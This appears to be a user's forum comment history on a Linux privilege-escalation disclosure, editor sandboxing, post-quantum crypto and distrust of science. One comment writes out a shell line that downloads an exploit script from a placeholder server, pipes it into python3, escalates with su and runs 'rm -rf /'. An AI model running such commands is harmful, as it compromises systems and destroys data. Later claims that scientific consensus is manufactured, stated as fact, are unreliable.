110 karma · joined March 2, 2026
And it did. I 'bout fell out of my chair.
Unfortunately, in a place like this, if a bunch of people falsely accuse you of being a slop spreader your karma drops like a rock.
Can you imagine how hard it is to start up a new Reddit account lately? Even in a small and isolated community of niche enthusiasts just getting to the point where your posts aren't auto-modded takes serious effort. One stray emdash and you can lose it.
Ask me how I know.
Oh yay, I'm in HN jail again. "You're posting too fast." Faster than once per 30 minutes? Sigh.
It's an LPE that goes back years. It affects at least 3 generations of Debian servers. >5 years of some rolling distros. And instead of the kernel team telling the distro security guys ahead of time so they could do their jobs and keep us users from getting screwed they got no warning and woke up to baddies in a feeding frenzy.
Also, LPEs are how minor holes turn into rootkitted servers. But I expect most people here already know that.
cat | python3 && su
<puke>, Ctrl-D
$ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
# rm -rf / &
I feel like a school friend of mine has been taken from me.
Now, y'all tell me, since I'm not a web guy. How hard is it going to be to tweak this lovely little pathogen into some kind of browser exploit? It just needs to be combined with a sandbox escape to work on current versions, right? Difficult but quite worth investing the time and effort to develop if that's your line of business. If that happens, every at-risk Tails user is going to have to stay offline for a while, unless they want to play the drone lottery.
Or how about chaining it with any of the as-yet unpatched bugs in gawd-only-knows how many web services out there that have poor input sanitization code? That bug now graduates from a DoS crash causer to a root grab. Good luck stopping it with your fancy AI Behavioral Analysis security tools. They better be fast. The sploit is going to do its work in two packets, maybe three. Fun times.
Lucky for us systems monkeys, it's not like anybody is spending billions of dollars to develop vuln finding AI tools right at this very second. So there shouldn't be many unpatched web services holes.
Oh, wait.
Of course, as the grey hats can already tell you, the really delicious part of this thing is how it's going to become the LPE tool of first resort for any APT that's already inside ur base killin ur doodz.
Nothingburger? This nothingburger is going to root a million OS instances before we know what hit us.
This vulnerability is, for other threat models, a death sentence.
> A security group found the vulnerability. They disclosed it. It was patched.
It was patched only after some people who should have been notified well in advance happened to notice something was up. That is NOT HOW IT'S SUPPOSED TO WORK.
For as long as the unpatched window remains open, skids will mess around and break things. Organized crime teams will use it for some really nasty hacking/ransomware/exfil/extortion/whatever. I guarantee you, this vuln is powerful and widespread enough that intel orgs will use it to kill targets, if they haven't already been using it for years. And if they have, we can just bank on them pulling out all the stops to take advantage of the remaining time for wreaking havoc. Make a project out of it and see if you can guess some of the future headlines.
Certain folks might not care much because they are citizens of one or more of those orgs' nations, so those targets are welcome to die in their opinion. That's fine. You do you, I'll do me, we'll all just go on doing our thing. But it's all fun and games until the wrong target gets hit and now there's a pact between the Germans and the Austrians being invoked and a few dozen million Europeans die. Or a geopolitical hotspot flares up and overnight 20% of the global petroleum supply chain grinds to a halt. Use your imagination. This vuln is a digital magic wand that is trivially usable to cast Avada Kedavra and somebody neglected to tell 99.99% of the Good Guys about it.
How is this different from any other day? Because now we've got a world-changing vuln out in the wild with no distro mitigation on day 1, and who the hell knows how many unscrupulous actors poised to take advantage of it before the fun and games stops. There will be no adults in the room when the miscreants decide to deploy while they still can.
Is this vuln going to start the next world war? Probably not. I don't expect it to and I hope and pray it doesn't. But leaving a vuln like this undisclosed to the very people whose job it is to protect us all is playing with fire. Not matches; more like a 10-grams-less-than-critical mass of plutonium.
sam is right to be pissed and he's doing a very good job of hiding it, because he knows that his users are at the mercy of TPTB in the Linux kernel world. Somebody's head needs to roll for this, and I don't mean some dude the CIA wants to hax0r because he's next on the list.
Certainly replacing a microservices morass with a single bare metal server running a single static go binary makes good fiscally responsible sense for a startup/MVP. But how does a CTO make the case that "we don't need React" when the developer can just get Claude to smack the React app around with a trout until it does what you want?
Basecamp may have done it but I get the feeling that's a major outlier.
Yeah, come on. NBD yo.
;-)
In the past I've investigated emacs enough to appreciate that asking someone for their emacs config is a mix of Futile + Way Too Personal + Too Much Work (on their part, explaining etc). But do you perhaps have a blog or something somewhere about your setup, so noobs who aspire to that kind of emacsdom could get an idea of what is possible and how you're doing it?
For some of us. Unfortunately, not enough... :sad keanu:
(...or security wouldn't be such a widespread problem)
It's a nice habit to get into if you can bring yourself to firejail your editor to $HOME/jail and keep all your r/w files in $HOME/jail/Documents and such. But only the most socially unacceptable of paranoid sysadmins do that. Ahem.
[1] FF/Chrome/javascriptless ones. The others are put in prison with no chance of parole and strict visitation policies.
> It's not a security tool,
Amen to that, brother.
I'm sure somebody can google up a better example page than this. https://web.archive.org/web/20260322141827/https://www.simpl...
Even those folks who are cautious enough to require passwords (sudo or plain su) to elevate are still at risk of having their account thoroughly brought under control of an attacker. Just imagine what a baddie could inject into your .bashrc if your editor can change it.
If you run your clanker-controlled emacs in console mode under a restricted user account, best case scenario, system compromise is only one unpatched privesc vuln away from Shai-Hulud completely pwning you.
Doing it in a locked down VM is much better but even then you're only better off by matter of degrees than if you had done a yolo curl - | bash because VM host attacks and even escapes are very much a thing.
These HNers expressing concern about giving a LLM control of an editor are 100% thinking rightly.
Of course I can't find the link to whatever I read that discussed gpu accelerated des cracking now.
Maybe the best practice here is to have one or more Boppers on your team who send out periodic notifications to update not just algos in libraries but, more importantly, make sure those updates are reflected in the damned configs.
We also really need a cultural shift where it becomes expected that, for any given app, we have something like:
$ ssh --best user@host
which does that for us. Because this is a failure mode that shouldn't even be possible for most users and cases.
If Algo-A and Algo-B both rely on "factoring big numbers is hard!" then once the Quantumpocalypse occurs, breaking Algo-B(Algo-A(plaintext)) is no harder than asking ChatGPT 99.5 to add an extra step in your vibe coded cracking engine's frontend, such that it now does B_breaker < cyphertext | A_breaker >> plaintext.lol or whatever the equivalent is for the fashionable language of the that future day.
...8 years previously.[1]
Long, long ago in a datacenter far away, breaking 3DES used to be the province of expensive bespoke hardware owned by only the elite nation states. Today it is so trivial that the gpu in your second hand laptop can do it "at scale".
5 years ago ChatGPT was a wet dream.
We should be very conservative in our planning where future security is concerned. The only thing we can be sure of is that Murphy's Law is looking for every chance to make us look foolish.
> And you should migrate quickly because of harvest-now-decrypt-later attacks.
...
> So signatures/authentication are still up for debate. Unless your team is on the bleeding edge of either crypto research or security risks, then there's not much to do than wait for better consensus to form.
I'm trying, as a layman, to find some not-too-insane middle ground between those contradictions.
I'd really like to know what his current work on the subject entails, but when I try googling his stuff all I find are years-old papers, more recent meta discussion, and him making a few comments about other peoples' work.
I was sure that by now he'd have at least collaborated on some avant-garde PQ algo that was as different from the NSA approved stuff as chacha20-poly1305 was from AES. I was hoping for a PQ-NaCl folks would be using soon, not the libpqcrypto that seems to lack traction among devs (for reasons I do not understand). I am disappoint.
(It's probably all tucked away in some corner of the web that a layman like me will never find. Sigh.)
Edit: Hah! I gave up on looking for papers or repos and decided to just read his blog instead. Well would'ya look at that! It's non-stop PQ ranting of the kind we've come to love and cherish from DJB. No new repos or code with his imprimatur that I can see so far but better than I was expecting. Looks like I've got some reading to do....
I should have subscribed to his rss feed years ago. And his "microblog" too! https://microblog.cr.yp.to/
https://archive.org/download/the-big-bang-never-happened
And this is briefer but more recent.
https://web.archive.org/web/20260321014458/https://www.lppfu...
I trust anyone sufficiently interested can manage to google further without my help.
Well played, universe.
Mass killing, global recession, fertilizer shortages potentially leading to widespread famine and....Slashdot references?
Oh man, this timeline is the worst, but it is absolutely the most entertaining.
Indeed, I did. I joined expecting it to be above mere politics. I paid for my folly.
> People work there, and it will have people's dramas and problems, like everywhere else: fraud, crime, jealousy, simple mistakes, etc.
Yes, but it's far worse in the scientific communities. In the "real world" the average person is way better at doing their average job than the average scientist publishing their work.
Imagine even a civilizationally incompetent modern society today (without naming any names). Now imagine what it would be like if >50% of the time you got into a taxi something far worse than the expected result occurred. You got: taken to the wrong destination; or cheated by the driver; or woke up in a bathtub missing your kidneys; etc. Extend that behavior to even a tiny fraction of the whole. That society would have collapsed already.
Compare that to any journal you please and let's see what percentage of their published works can be verified. Even for the "better" fields their rates are shockingly bad. Some are below 50%.
I don't know about you, but my standards for the behavior of scientists are considerably higher than that for taxi drivers.
> Despite their imperfections, the reason people with power trust their consensus more is because they are a lot more useful than other groups of people.
Hard disagree. The reason people with power "trust" scientific consensus is because they manufacture that consensus by controlling the funding. This is fact. It's not pleasant, and is far from uncontroversial. But it is what it is.
The people with power today who are telling you that <topic X> is "settled science" are the spiritual (and in some cases genetic!) descendants of the people who were telling Columbus that he was going to sail off the edge of the Earth and locking up Galileo. Eppur si muove!
If you want to naively believe that calling one's self a big-s Scientist makes one, if not immune then perhaps we could say resistant, to that fraud, crime, corruption, etc. then I suppose you're entitled to that opinion. I look at the data on their output and my vote is to trash the lot of them and start over. They've fallen that far from grace.
I'm inclined to trust the ancient Greeks, sure. Modern scientists, not so much.
> If you reject this statement, you can start by joining the Amish, since virtually all modern technology is built on top of the scientific community's consensus and work.
Unfortunately the Amish are automatically suspicious of the academically tainted such as myself. Otherwise I'd love to chill with them. Their lives are blissfully stress-free compared to ours.